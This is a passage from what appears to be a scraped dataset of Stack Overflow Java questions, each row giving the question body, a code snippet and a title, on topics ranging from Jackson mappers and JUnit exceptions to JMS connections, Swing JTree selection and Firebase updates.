bodyin correct code-flow _mapperConfig.getConfiguredMapper ( ) returns null which subsequently causes invocation of _locateMapperViaProvider which finds my custom mapper . With Swagger it defaults to com.fasterxml.jackson.jaxrs.json.JsonMapperConfigurator and my custom json serializers never get invoked.I created small project which reproduces this problem here.How would you guys suggest to fix this ? I could probably specify deserializer on each property of type TTLocalDate but it 'll pollute the code : (,"@ Providerpublic class ObjectMapperProvider implements ContextResolver < ObjectMapper > { } public MAPPER locateMapper ( Class < ? > type , MediaType mediaType ) { // First : were we configured with a specific instance ? MAPPER m = _mapperConfig.getConfiguredMapper ( ) ; if ( m == null ) { // If not , maybe we can get one configured via context ? m = _locateMapperViaProvider ( type , mediaType ) ; if ( m == null ) { // If not , let 's get the fallback default instance m = _mapperConfig.getDefaultMapper ( ) ; } } return m ; }",Adding JAR with ObjectMapper makes my ObjectMapper non-discoverable +Java,"I have the a bug reported by FindBugs but I know better : ) see the following example : In my BaseClass constructor I inject all fields with the @ CustomInjection annotation with the correct object so my annotated fields are not null in my case.I do n't want to suppress the warning with 'suppresswarnings ' because that will clutter the code to much . I prefer making a filter like findbugs explains here , but i ca n't figure out how to filter bugs for fields annotated with a certain interface . I also do n't want to filter all null bug warnings . I think it should be something like :",public class MyClass extends BaseClass { @ CustomInjection private Object someField ; public MyClass ( ) { super ( ) ; someField.someMethod ( ) ; // Bug is here because FindsBugs thinks this is always null } } < Match > < Bug code= '' UR '' > < Field annotation= '' CustomInjection '' > < /Match >,How to Set a FindBugs Filter for fields with a specific Annotation ? +Java,"I am currently working on a tool that produces Java byte code directly . When considering performance , I could for example translate the following Java equivalentin two different ways . Without applying optimizations , I could translate the stated code into the following byte code equivalentwhere the array would in the end be the only value on the operand stack . This translation requires an operand stack size of 4 since there is a maximum of four values ( int [ ] , int [ ] , int , int ) on the stack but this solution would not consume any local variable slots.I could however also translate the code snippet like this : This translation would reduce the size requirement for the operand stack by one slot but instead it would cost a local variable slot for storing the intermediate result.Not thinking of the reusability of such slots and local variables within a method : How should I consider the costs of the operand stack versus the local variable array ? Is operand stack size cheaper since it is not random access memory ? Thank you for your help !",int [ ] val = new int [ 1 ] ; val [ 0 ] = 1 + 1 ; ICONST_1ANEWARRAY IDUPICONST_1ICONST_1IADDAASTORE ICONST_1ICONST_1IADDISTORE_1ICONST_1ANEWARRAY IDUPILOAD_1AASTORE,Costs of local variables vs operand stack size when writing method in Java byte code +Java,"I came across an interesting problem : Given a binary tree print it in inward spiral order i.e first print level 1 , then level n , then level 2 , then n-1 and so on . I have thought of a solution : Store each level elements in a listlists [ 0 ] = [ 1 ] lists [ 1 ] = [ 2 , 3 ] lists [ 2 ] = [ 4 , 5 , 6 , 7 ] lists [ 3 ] = [ 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 ] Loop through the list of lists in the order required ( 0 , n-1 , 1 , n-2 , ... ) and print . Here n is the number of levels which is 4 in the above case . Its space complexity would be O ( n ) . I am sure there might be a better solution to it with a better space complexity , but I can not think if it . Anyone has any pointers ?",For Ex:12 34 5 6 78 9 10 11 12 13 14 15Should Output:1 15 14 13 12 11 10 9 8 2 3 7 6 5 4,Inward spiral tree traversal +Java,"Today , we found this pattern in our code : While the code seems to work , this is a singleton Spring bean and it 's injected in several independent places and the consumers of the bean assume that they each have their own list of errors . So this introduces subtle bugs.The obvious solution is to educate developers to avoid this kind of error but I was wondering if there is a static or runtime code analysis tool which can find this kind of bug.For example , a bean postprocessor could analyze the bean before it 's returned and look for private fields that are n't @ Autowired .",class Foo { private List < String > errors ; public void addError ( String error ) { ... } public List < String > getErrors ( ) ; },Finding stateful singleton beans +Java,"I recently had an exam on Java , and there was a wide section about wildcard generics in Java . However , there is very little said about their usage in practice . When should we use them ? Let 's see a typical usage : What the documentation says , that this collection does not allow to add any elements to the list . So basically wildcards can be used for making collections read-only . Is that their only usage ? Is there any practical need for that ? For the last four years I took part in a lot of programming projects in Java , but I have n't seen any project that would use extensively such a feature as wildcard.So , from the practical point of view , are there any situations when wildcard generics are unavoidable and necessary ?",void check ( Collection < ? extends Animal > list ) { // Do something },Practical usage of wildcard generics in Java +Java,"This is based on this question . Consider this example where a method returns a Consumer based on a lambda expression : As we know , it 's not a good practice to reference a current state inside a lambda when doing functional programming , one reason is that the lambda would capture the enclosing instance , which will not be garbage collected until the lambda itself is out of scope.However , in this specific scenario related to final strings , it seems the compiler could have just enclosed the constant ( final ) string foo ( from the constant pool ) in the returned lambda , instead of enclosing the whole MyClass instance as shown below while debugging ( placing the breaking at the System.out.println ) . Does it have to do with the way lambdas are compiled to a special invokedynamic bytecode ?",public class TestClass { public static void main ( String [ ] args ) { MyClass m = new MyClass ( ) ; Consumer < String > fn = m.getConsumer ( ) ; System.out.println ( `` Just to put a breakpoint '' ) ; } } class MyClass { final String foo = `` foo '' ; public Consumer < String > getConsumer ( ) { return bar - > System.out.println ( bar + foo ) ; } },Why does a lambda need to capture the enclosing instance when referencing a final String field ? +Java,"Below is my program and it is returning the wrong day name when I enter the related month , date and year.What I am missing here ? My ProgramOutput : It should be returning `` Monday '' , as that is the current day .","import java.util.Calendar ; import java.util.Locale ; import java.util.Scanner ; public class TimeTest { public static void main ( String [ ] args ) { Scanner in = new Scanner ( System.in ) ; String month = in.next ( ) ; String day = in.next ( ) ; String year = in.next ( ) ; System.out.println ( getDay ( day , month , year ) ) ; } private static String getDay ( String day , String month , String year ) { Calendar calendar = Calendar.getInstance ( ) ; calendar.set ( Integer.parseInt ( year ) , Integer.parseInt ( month ) , Integer.parseInt ( day ) ) ; return calendar.getDisplayName ( Calendar.DAY_OF_WEEK , Calendar.LONG , Locale.getDefault ( ) ) ; } } 09242018Wednesday",calendar.getDisplayName returning the wrong day +Java,"If I have the following code , which works fine : Question : What if the callreturns false because the timeout hits ? I guess the Threads in the ExecutorService will remain in state WAIT . What is the best solution to continue ? Setting the service to null and having the GarbageCollector remove it ? But what happens with the related Threads ? Will it ever be garbage collected as there are still references ? The code usually works , but just be curious . What to do if it returns false ?","ExecutorService service = Executors.newFixedThreadPool ( 100 ) ; [ ... . ] List < Future < SomeObject > > futures = service.invokeAll ( callables ) ; for ( Future f : futures ) { f.get ( ) ; } // shutdown the service after all Callables are finished.service.shutdown ( ) ; boolean serviceIsShutDown = service.awaitTermination ( 5 , TimeUnit.SECONDS ) ; if ( serviceIsShutDown ) { System.out.println ( `` Service terminated normally . All ok. '' ) ; } else { // What if it 's not shutDown ? [ ... ] // this ? //service = null ; } boolean serviceIsShutDown = service.awaitTermination ( 5 , TimeUnit.SECONDS ) ;",Java ExecutorService - What if awaitTermination ( ) fails ? +Java,"A simple expression likeis interpreted differently depending on whether x is a type name or not . If x is not a type name , ( x ) - y just subtracts y from x . But if x is a type name , ( x ) - y computes the negative of y and casts the resulting value to type x.In a typical C or C++ compiler , the question of whether x is a type or not is answerable because the parser communicates such information to the lexer as soon as it processes a typedef or struct declaration . ( I think that such required violation of levels was the nastiest part of the design of C. ) But in Java , x may not be defined until later in the source code . How does a Java compiler disambiguate such an expression ? It 's clear that a Java compiler needs multiple passes , since Java does n't require declaration-before-use . But that seems to imply that the first pass has to do a very sloppy job on parsing expressions , and then in a later pass do another , more accurate , parse of expressions . That seems wasteful.Is there a better way ?",( x ) - y,How does a Java compiler parse typecasts ? +Java,"Which of the following will evaluate to true only if boolean expressions A , B , and C are all false ? Answer : ! ( A || B || C ) My answer : ! ( A & & B & & C ) Why is my answer incorrect ? If A , B and C are all false and the ! is distributed , it will make all of them true , thus returning true.Given that a , b and c are integers , consider the boolean expressionWhich of the following will guarantee that the expression is true ? Answer : c < a is falseDoes n't the result rely on ( c == a * b ) being false also because of the & & ?",( a < b ) || ! ( ( c == a * b ) & & ( c < a ) ),AP Computer Science Logical Operators +Java,"I have been trying a mock ocjp 6 test . I went though a question asking if the constructor is correct : The correct answer was 1 and 3 . I did n't understand why the 4 was incorrect . When I tested the following code : I have compilation error , but when I remove one of the constructors if compile without any issue.Someone can clear it up for me please .",1- public Test8 ( ) { } 2- private void Test8 ( ) { } 3- protected Test8 ( int k ) { } 4- Test8 ( ) { } public class Test8 { Test8 ( ) { } public Test8 ( ) { } },"Java , compilation error , Constructors" +Java,"Right now my disconnection from a weblogic JMS server looks like thisWhen I create the connection I use netstat to check if the server is connected netstat -an | grep 8001 tcp 0 0 ip-address:59730 ip-address:8001 ESTABLISHEDThen I call my .stopListener in addition to the .closeContext method and go back to check my connection again with netstat and I get the same result netstat -an | grep 8001 tcp 0 0 ip-address:59730 ip-address:8001 ESTABLISHEDWhy would closing the session , subscriber , and connection not destroy the connection to the JMS server . The documentation I 've found has n't given me any explanation of why I can not destroy the connection fully .","import java.util.Hashtable ; import javax.jms . * ; import javax.naming . * ; import javax.transaction . * ; import java.util.Vector ; import javax.rmi.PortableRemoteObject ; import clojure.java.api.Clojure ; import clojure.lang.IFn ; import org.apache.log4j.Logger ; import weblogic.jndi . * ; public class WebLogicListener implements MessageListener , ExceptionListener { public InitialContext ctx ; public TopicConnectionFactory conFactory ; public TopicConnection tCon ; public TopicSession tSession ; public TopicSubscriber tSub ; public Boolean development ; public Topic topic ; /*clojure function objects*/ public IFn publish ; public IFn close ; public IFn incrementMetric ; public IFn logMessage ; public IFn resync ; public Object channel ; public ExceptionListener exception ; public String topicName ; public String subName ; public String username ; public String password ; public String clientId ; public String factoryJNDI ; public String topicJNDI ; public Vector nms ; public Hashtable < Object , Object > env ; public boolean running = false ; public WebLogicListener ( String topicName , String host , String username , String password , String factoryJNDI , String topicJNDI , String clientId , String subName , String ns , String fnName , boolean development , Vector nms ) { this.username = username ; this.password = password ; this.clientId = clientId ; this.topicName = topicName ; this.subName = subName ; this.development = development ; this.topicJNDI = topicJNDI ; this.factoryJNDI = factoryJNDI ; this.nms = nms ; /*Clojure interop handlers*/ IFn chan = Clojure.var ( `` clojure.core.async '' , `` chan '' ) ; resync = Clojure.var ( `` cenx.baldr.api '' , `` resync ! `` ) ; publish = Clojure.var ( ns , fnName ) ; incrementMetric = Clojure.var ( ns , `` log-metric '' ) ; logMessage = Clojure.var ( ns , `` log-message '' ) ; close = Clojure.var ( `` clojure.core.async '' , '' close ! `` ) ; /*populate envrionment*/ env = new Hashtable < Object , Object > ( ) ; env.put ( Context.PROVIDER_URL , host ) ; env.put ( Context.INITIAL_CONTEXT_FACTORY , `` weblogic.jndi.WLInitialContextFactory '' ) ; env.put ( Context.SECURITY_PRINCIPAL , username ) ; env.put ( Context.SECURITY_CREDENTIALS , password ) ; env.put ( `` weblogic.jndi.createIntermediateContexts '' , `` true '' ) ; /*open communication channel for clojure daemon*/ channel = chan.invoke ( ) ; } private void initListener ( ) throws JMSException , NamingException { try { if ( ! running & & ! development ) { ctx = new InitialContext ( env ) ; topic = ( Topic ) ctx.lookup ( topicJNDI ) ; conFactory = ( TopicConnectionFactory ) PortableRemoteObject.narrow ( ctx.lookup ( factoryJNDI ) , TopicConnectionFactory.class ) ; tCon = ( TopicConnection ) conFactory.createTopicConnection ( ) ; tCon.setExceptionListener ( this ) ; tCon.setClientID ( clientId ) ; tSession = ( TopicSession ) tCon.createTopicSession ( false , 1 ) ; tSub = tSession.createDurableSubscriber ( topic , subName ) ; tSub.setMessageListener ( this ) ; tCon.start ( ) ; running = true ; } else { if ( running ) { logMessage.invoke ( `` error '' , String.format ( `` Listener is already running '' ) ) ; } if ( development ) { logMessage.invoke ( `` info '' , `` Running in development mode , no connection established '' ) ; } } } catch ( Exception e ) { logMessage.invoke ( `` error '' , String.format ( `` Unable to start listener \n % s '' , e.toString ( ) ) ) ; } } public void startListener ( ) { if ( ! development & & env ! = null ) { try { initListener ( ) ; } catch ( Exception e ) { logMessage.invoke ( `` error '' , String.format ( `` Unable to start Listener \n % s '' , e.toString ( ) ) ) ; } } else { if ( development ) { logMessage.invoke ( `` info '' , `` Running in development mode , no connection established '' ) ; } if ( env == null ) { logMessage.invoke ( `` error '' , `` Environment variable is null '' ) ; } } } ///Closes the JMS connection and the channel public void stopListener ( ) { if ( ! development ) { try { tSub.close ( ) ; tSession.close ( ) ; tCon.close ( ) ; incrementMetric.invoke ( `` JMS-disconnect-count '' ) ; } catch ( Exception e ) { logMessage.invoke ( `` error '' , String.format ( `` Error while stopping the listener \n % s '' , e.toString ( ) ) ) ; } finally { running = false ; } } else { logMessage.invoke ( `` info '' , `` Listener not started , running in development mode '' ) ; } } public Object getChannel ( ) { return channel ; } //re-initializes the channel in case of error public void initializeChannel ( ) { if ( channel == null ) { IFn chan = Clojure.var ( `` clojure.core.async '' , `` chan '' ) ; channel = chan.invoke ( ) ; } else { logMessage.invoke ( `` info '' , `` Channel is already initialized '' ) ; } } //accessors for debugging public void closeSubscription ( ) { try { tSub.close ( ) ; } catch ( Exception e ) { logMessage.invoke ( `` error '' , `` unable to close topic subscription '' ) ; logMessage.invoke ( `` error '' , e.toString ( ) ) ; } } public void closeSession ( ) { try { tSession.unsubscribe ( subName ) ; tSession.close ( ) ; } catch ( Exception e ) { logMessage.invoke ( `` error '' , `` unable to close topic session '' ) ; logMessage.invoke ( `` error '' , e.toString ( ) ) ; } } public void closeConnection ( ) { try { tCon.close ( ) ; } catch ( Exception e ) { logMessage.invoke ( `` error '' , `` unable to close topic connection '' ) ; logMessage.invoke ( `` error '' , e.toString ( ) ) ; } } public void closeContext ( ) { try { ctx.close ( ) ; } catch ( Exception e ) { logMessage.invoke ( `` error '' , `` unable to close context '' ) ; logMessage.invoke ( `` error '' , e.toString ( ) ) ; } } public Boolean isRunning ( ) { return running ; } public Context getContext ( ) { return ctx ; } public TopicConnectionFactory getFactory ( ) { return conFactory ; } public TopicConnection getTopicConnection ( ) { return tCon ; } public TopicSession getTopicSession ( ) { return tSession ; } public Boolean getDevelopmentMode ( ) { return development ; } public TopicSubscriber getTopicSubscriber ( ) { return tSub ; } public Topic getTopic ( ) { return topic ; } /*Interface methods*/ public void onMessage ( Message message ) { publish.invoke ( channel , message ) ; } /*attempt a resync after an exception connection*/ private void resync ( ) { resync.invoke ( nms ) ; } private void attemptReconnect ( ) throws Exception { if ( ! development ) { //clean up any portions of the connection that managed to establish stopListener ( ) ; //incase of stopListener exceptioning out set running to false running = false ; do { try { initListener ( ) ; if ( running ) { resync ( ) ; } } catch ( Exception e ) { logMessage.invoke ( `` error '' , String.format ( `` Unable to establish connection to JMS server \n % s '' , e.toString ( ) ) ) ; } finally { Thread.sleep ( 30000 ) ; } } while ( ! running ) ; } else { logMessage.invoke ( `` info '' , `` Running in development mode , no connection established '' ) ; } } public void onException ( JMSException e ) { logMessage.invoke ( `` error '' , String.format ( `` A JMS Exception has occurred , attempting to re-establish topic connection \n % s '' , e.toString ( ) ) ) ; try { incrementMetric.invoke ( `` JMS-disconnect-count '' ) ; attemptReconnect ( ) ; } catch ( Exception g ) { logMessage.invoke ( `` error '' , String.format ( `` Unable to start Listener \n % s '' , g.toString ( ) ) ) ; } } /* Test functions */ public void testException ( ) throws JMSException { onException ( new JMSException ( `` testing exception function '' ) ) ; } public void testChannel ( String message ) { if ( development ) { publish.invoke ( channel , message ) ; } } }",Disconnecting from a weblogic JMS +Java,"My application is a Spring Boot app with several end points . We are trying to add an SSE enabled endpoint , using Webflux . Use case : Step 1 : Front-end submits a request to a POST endpoint and gets a unique ID.Step 2 : Front end fetches processed result using a GET endpoint ( SSE enabled - Flux ) Angular uses EventSource object to consume the SSE endpoint . It requires the end point to produce text/event-stream . It works very well for positive test cases . But when runtime exceptions are thrown from the service , Angular frontend can not get the HTTP status codes and exception details . It just errors with no data . Thrown exceptions : As mentioned in this , returning a Flux < ServerSentEvent > and terminating the flux with a custom event : Java endpointThis helps to close the connection at the UI end by disconnecting it . But my main issue remains open . How should I go about propagating error messages back to the frontend ? All other ( normal ) endpoints throw custom runtime exceptions with proper HTTP codes as given above . Should I change my ProcessedResult class to take exception details also ?","@ ResponseStatus ( code = HttpStatus.NOT_FOUND ) public class RequestNotFoundException extends RuntimeException { private static final long serialVersionUID = 1L ; public RequestNotFoundException ( String message ) { super ( message ) ; } } @ GetMapping ( path= `` { id } /async '' , produces=MediaType.TEXT_EVENT_STREAM_VALUE ) public Flux < ServerSentEvent < Optional < ProcessedResult > > > getProcessedResultStream ( @ PathVariable ( `` id '' ) @ ApiParam ( value = `` The unique identifier of the request '' , required = true ) String id ) throws InterruptedException { // Combining data and adding a disconnect event to handle at the frontend . return Flux.concat ( Flux.just ( ServerSentEvent. < Optional < ProcessedResult > > builder ( service.getProcessedResult ( id ) ) .build ( ) ) , Flux.just ( ServerSentEvent. < Optional < ProcessedResult > > builder ( ) .event ( `` disconnect '' ) .build ( ) ) ) ; }",Passing error messages from SSE ( Webflux ) Spring Boot app to Angular 7 frontend +Java,"I 'll try to provide a hackneyed , useless example that reduces the problem nicely : - ) I have a GenericException , and a MoreSpecificException which extends GenericException.I need to test that SomeService.doThis ( ) throws a MoreSpecificException . JUnit lets me do this elegantly like so.However , I also need to test that SomeService.doThat ( ) throws a GenericException , so I tried this.However , I found that if doThat ( ) actually throws a MoreSpecificException then the second test still passes . I assume this is because MoreSpecificException is a GenericException and the annotation is implemented to respect that relationship.While this is a sensible default behaviour , I do n't want this . I want to test that doThat ( ) throws a GenericException and only a GenericException . If it throws a MoreSpecificException or any other subclass of GenericException , I want the test to fail.Reading the docs it does n't seem I can do anything with the annotation to change this behaviour , so looks like I 'll have to use another solution.At the moment I 'm resorting to the following ugly solution - EDIT made significantly less ugly by Nathan Hughes ' answer : - ) Is there a more elegant way to achieve what I want within the JUnit framework ?","@ Test ( expected = MoreSpecificException.class ) public void testDoThis ( ) throws GenericException { new SomeService ( ) .doThis ( ) ; } @ Test ( expected = GenericException.class ) public void testDoThat ( ) throws GenericException { new SomeService ( ) .doThat ( ) ; } @ Testpublic void testDoThat ( ) { try { new SomeService ( ) .doThat ( ) ; Assert.fail ( ) ; } catch ( GenericException ex ) { Assert.assertEquals ( GenericException.class , ex.getClass ( ) ) ; } }","JUnit 4 - expect an Exception of a certain class , but not subclasses" +Java,"I am using a JTree , which is using a DefaultTreeModel . This tree model has some nodes inside , and when I click on a node , I get the information of the node and I change the background color to show that this node is selected.It is possible to call the tree to clear the selection when I click on any place out of the tree ? By clearing the selection I will be able to change the background color again , but I do n't know how or where to use the clearSelection ( ) method of the tree when I click out of the tree . Here is the code I am using : The example : I am showing here how I create the nodes and add it to the tree using a tree model and how I set my custom TreeCellRenderer.In the cell renderer I paint the selected node with a specific color , and if the node is deselected , I paint it using another color . When I change the selection of the nodes , their background is painting correctly , but when I click outside the tree , the selected node is not deselected , so it is not painted with the specific color established in the cell renderer.There is a way to deselect the node when I click outside the tree ? And just if someone knows , there is a way to change some of the leafs by check boxes from the TreeCellRenderer ? To have some children as labels and some others as check boxes . Because when I try to add check boxes it says ( as I expected ) that check boxes are not DefaultMutableTreeNode objects and I ca n't add them to the tree model .","import javax.swing . * ; import javax.swing.tree . * ; import java.awt . * ; public class JTreeSelectDeselect { public static void main ( String [ ] args ) { JFrame frame = new JFrame ( ) ; frame.setDefaultCloseOperation ( WindowConstants.DISPOSE_ON_CLOSE ) ; JPanel panel = new JPanel ( new BorderLayout ( ) ) ; JTree tree = new JTree ( ) ; tree.setCellRenderer ( new DeselectTreeCellRenderer ( ) ) ; panel.add ( tree , BorderLayout.LINE_START ) ; panel.add ( new JScrollPane ( new JTextArea ( 10 , 30 ) ) ) ; frame.add ( panel ) ; frame.pack ( ) ; frame.setVisible ( true ) ; } } class DeselectTreeCellRenderer extends DefaultTreeCellRenderer { @ Override public Color getBackgroundSelectionColor ( ) { return new Color ( 86 , 92 , 160 ) ; } @ Override public Color getBackground ( ) { return ( null ) ; } @ Override public Color getBackgroundNonSelectionColor ( ) { return new Color ( 23 , 27 , 36 ) ; } @ Override public Component getTreeCellRendererComponent ( JTree tree , Object value , boolean sel , boolean exp , boolean leaf , int row , boolean hasFocus ) { super.getTreeCellRendererComponent ( tree , value , sel , exp , leaf , row , hasFocus ) ; setForeground ( new Color ( 225 , 225 , 221 , 255 ) ) ; setOpaque ( false ) ; return this ; } }",Deselect node from JTree when click any place outside the tree +Java,Currently I 'm using the BouncyCastle library to generate a certificate . Something like this : Can I add the SubjectAltNames field to the generated certificate ?,"X509V3CertificateGenerator certGenerator = new X509V3CertificateGenerator ( ) ; certGenerator.setIssuerDN ( rootCertificate.getSubjectX500Principal ( ) ) ; certGenerator.setSignatureAlgorithm ( `` SHA1withRSA '' ) ; certGenerator.setSerialNumber ( serial ) ; certGenerator.setNotBefore ( notBefore ) ; certGenerator.setNotAfter ( notAfter ) ; certGenerator.setPublicKey ( rootCertificate.getPublicKey ( ) ) ; Hashtable < DERObjectIdentifier , String > attrs = new Hashtable < DERObjectIdentifier , String > ( ) ; Vector < DERObjectIdentifier > order = new Vector < DERObjectIdentifier > ( ) ; attrs.put ( X509Principal.C , `` RU '' ) ; // other attrs.put ( ) calls hereorder.addElement ( X509Principal.C ) ; // other order.addElement ( ) calls herecertGenerator.setSubjectDN ( new X509Principal ( order , attrs ) ) ; certGenerator.addExtension ( X509Extensions.AuthorityKeyIdentifier , false , new AuthorityKeyIdentifierStructure ( rootCertificate ) ) ; certGenerator.addExtension ( X509Extensions.SubjectKeyIdentifier , false , new SubjectKeyIdentifierStructure ( newKeyPair.getPublic ( ) ) ) ; return certGenerator.generate ( rootPrivateKey , `` BC '' ) ;",How to generate multi-domain ( UCC ) certificate in Java ? +Java,Running into Exception caused during call to UnicastRemoteObject.exportObject ( ) .javax.json.jar is on the classpath and is used in many other places in the application without any problems.This part of the application worked fine until I added a method that returned a JsonValue to the remote object.Any ideas ? NOTE : I also tried running the rmiregistry with codebase pointed directly at the javax.json.jar but the exception remains,java.rmi.ServerError : Error occurred in server thread ; nested exception is : java.lang.NoClassDefFoundError : javax/json/JsonValue at sun.rmi.server.UnicastServerRef.oldDispatch ( UnicastServerRef.java:416 ) at sun.rmi.server.UnicastServerRef.dispatch ( UnicastServerRef.java:267 ) at sun.rmi.transport.Transport $ 1.run ( Transport.java:177 ) at sun.rmi.transport.Transport $ 1.run ( Transport.java:174 ) at java.security.AccessController.doPrivileged ( Native Method ) at sun.rmi.transport.Transport.serviceCall ( Transport.java:173 ) at sun.rmi.transport.tcp.TCPTransport.handleMessages ( TCPTransport.java:556 ) at sun.rmi.transport.tcp.TCPTransport $ ConnectionHandler.run0 ( TCPTransport.java:811 ) at sun.rmi.transport.tcp.TCPTransport $ ConnectionHandler.run ( TCPTransport.java:670 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1145 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:615 ) at java.lang.Thread.run ( Thread.java:745 ) at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer ( StreamRemoteCall.java:275 ) at sun.rmi.transport.StreamRemoteCall.executeCall ( StreamRemoteCall.java:252 ) at sun.rmi.server.UnicastRef.invoke ( UnicastRef.java:378 ) at sun.rmi.registry.RegistryImpl_Stub.bind ( Unknown Source ) rmiregistry -J-Djava.rmi.server.codebase=file : ///JarLibrary/javax.json.jar &,Java RMI NoClassDefFoundError for javax.json.JsonValue in Remote object +Java,I have two methods in the Item Class : and I want to use Conditional Operator to setVAlue in another class : but compiler says : I think compiler uses the nearest common superclass ( super interface ) of Double and String as type of conditional Operator . but why ?,public void setValue ( String v ) ; public void setValue ( Double v ) ; String str = ... Double dbl = ... item.setValue ( ( condition ) ? str : dbl ) ; can not find symbolsymbol : method setValue ( java.lang.Object & java.io.Serializable & java.lang.Comparable < ? extends java.lang.Object & java.io.Serializable & java.lang.Comparable < ? > > ),java conditional operator and different types +Java,"Normally the static blocks are executed first during class loading . When the above example is executed , the following output is received : In instance block of Test Default Constructor of Test In Static Block of Test In instance block of Test Default Constructor of Test In static block of TestLabWhy does the instance block and Default Constructor of Test class gets executed before the static block of Test Class ?",public class TestLab { static Test aStatic=new Test ( ) ; public static void main ( String [ ] args ) { TestLab obj=new TestLab ( ) ; } static { System.out.println ( `` In static block of TestLab '' ) ; } } public class Test { static Test ref=new Test ( ) ; Test ( ) { System.out.println ( `` Default Constructor of Test '' ) ; } static { System.out.println ( `` In Static Block of Test '' ) ; } { System.out.println ( `` In instance block of Test '' ) ; } },"When objects created with static reference , why do instance block & default constructor get executed before static block ?" +Java,I have a piece of code like this : At the moment I 'm throwing an exception when the given Object is not present.Now I need to also check if the nullableField of Object is present.One obvious solution could be something like this : But I 'd like to implement this in the same functional chain ... What am I missing ?,return getObject ( ) .map ( obj - > obj.getNullableField ( ) ) .orElseThrow ( ( ) - > new IllegalStateException ( `` Object not found ! `` ) ) ; var fieldVal = getObject ( ) .map ( obj - > obj.getNullableField ( ) ) .orElseThrow ( ( ) - > new IllegalStateException ( `` Object not found ! `` ) ) ; return Optional.ofNullable ( fieldVal ) .orElseThrow ( ( ) - > new IllegalStateException ( `` Field is not present '' ) ) ;,Chaining Optional.orElseThrow +Java,"I 'm trying to build the python interface of the stanford NLP on Ubuntu 12.04.5 LTS.There are two steps required , the first of which is : compile Jpype by running `` rake setup '' in 3rdParty/jpype When doing so I get the following error : The error messages says I 'm missing jni.h , so as suggested here if I ran the command dpkg-query -L openjdk-7-jdk | grep `` jni.h '' getting /usr/lib/jvm/java-7-openjdk-amd64/include/jni.h.I believe that means I do have jni.h on my system , so I 'm very confused right now . What is causing the error ? Can you suggest any fix ? Thanks for your help ! A FEW MORE INSIGHTSHere is the instruction causing the error : It 's coming from the compilation of JPype needed for the python interface . I do not know why but it includes paths that I do n't have in my filesystem ( i.e . -I/usr/lib/jvm/java-1.5.0-sun-1.5.0.08/include/linux ) .How can I configure these paths correctly ?",In file included from src/native/common/jp_monitor.cpp:17:0 : src/native/common/include/jpype.h:45:17 : fatal error : jni.h : No such file or directorycompilation terminated.error : command 'gcc ' failed with exit status 1rake aborted ! Command failed with status ( 1 ) : [ cd JPype-0.5.4.1 & & python setup.py build ... ] gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -I/usr/lib/jvm/java-1.5.0-sun-1.5.0.08/include -I/usr/lib/jvm/java-1.5.0-sun-1.5.0.08/include/linux -Isrc/native/common/include -Isrc/native/python/include -I/usr/include/python2.7 -c src/native/common/jp_class.cpp -o build/temp.linux-x86_64-2.7/src/native/common/jp_class.occ1plus : warning : command line option ‘ -Wstrict-prototypes ’ is valid for Ada/C/ObjC but not for C++ [ enabled by default ] In file included from src/native/common/jp_class.cpp:17:0 : src/native/common/include/jpype.h:45:17 : fatal error : jni.h : No such file or directorycompilation terminated.error : command 'gcc ' failed with exit status 1,Stanford CoreNLP python interface installation errors +Java,activity_main.xml : bottom_bar.xml : MainActivity.java : My question is : After I finish everything from initialization of bottom bar to adding items in it . Once I run it and try rapidly ( very fast ) switching between item tabs of BottomNavigationView suddenly in-between item title text disappears . Can anybody suggest me any solution ?,< android.support.design.widget.BottomNavigationView android : id= '' @ +id/bottom_navigation '' android : layout_width= '' 0dp '' android : layout_height= '' wrap_content '' android : elevation= '' 4dp '' app : layout_constraintBottom_toBottomOf= '' parent '' app : layout_constraintHorizontal_bias= '' 0.0 '' app : layout_constraintLeft_toLeftOf= '' parent '' app : layout_constraintRight_toRightOf= '' parent '' app : layout_constraintTop_toTopOf= '' parent '' app : layout_constraintVertical_bias= '' 1.0 '' / > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < menu xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' > < item android : id= '' @ +id/tab_addcard '' android : enabled= '' true '' android : title= '' @ string/addcard '' android : icon= '' @ drawable/ic_tabicon_addcard '' app : showAsAction= '' ifRoom|withText '' / > < item android : id= '' @ +id/tab_approvals '' android : enabled= '' true '' android : title= '' @ string/approvals '' android : icon= '' @ drawable/ic_tabicon_approvals '' app : showAsAction= '' always|withText '' / > < item android : id= '' @ +id/tab_mycard '' android : enabled= '' true '' android : title= '' @ string/mycard '' android : icon= '' @ drawable/ic_tabicon_mycard '' app : showAsAction= '' always|withText '' / > BottomNavigationView bottombar ; @ Overrideprotected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; bottombar= ( BottomNavigationView ) findViewById ( R.id.bottom_navigation ) ; bottombar.inflateMenu ( R.menu.bottom_bar ) ; },Google BottomNavigationView item title disappears after few rapid tab switch +Java,"I was impressed by google 's MapMaker design.I would like to know what is the name of the pattern that is used here ? ( What i think is it 's somewhat like decorator pattern but in which we do n't have to wrap the object in other object to extend the functionality , but I ca n't figure out exactly what sort of pattern it is . ) MapMaker Object Creation : -","ConcurrentMap < Key , Graph > graphs = new MapMaker ( ) .concurrencyLevel ( 32 ) .softKeys ( ) .weakValues ( ) .expiration ( 30 , TimeUnit.MINUTES ) .makeComputingMap ( new Function < Key , Graph > ( ) { public Graph apply ( Key key ) { return createExpensiveGraph ( key ) ; } } ) ;",MapMaker Design Pattern ? +Java,"When using Firebase 2.4 ref.updateChildren ( ) with HashMap , other than HashMap < String , Object > ( e.g . HashMap < String , User > ) getting the IllegalStateException.EDIT : Is there a way to pass custom HashMap like HashMap < String , User > to ref.updateChildren ( ) ?","> 09-29 18:03:21.680 : E/AndroidRuntime ( 6863 ) : FATAL EXCEPTION : main > 09-29 18:03:21.680 : E/AndroidRuntime ( 6863 ) : Process : > com.xxx.xxx.xxx , PID : 6863 09-29 > 18:03:21.680 : E/AndroidRuntime ( 6863 ) : java.lang.IllegalStateException : > Could not execute method of the activity 09-29 18:03:21.680 : > E/AndroidRuntime ( 6863 ) : at > android.view.View $ 1.onClick ( View.java:4035 ) 09-29 18:03:21.680 : > 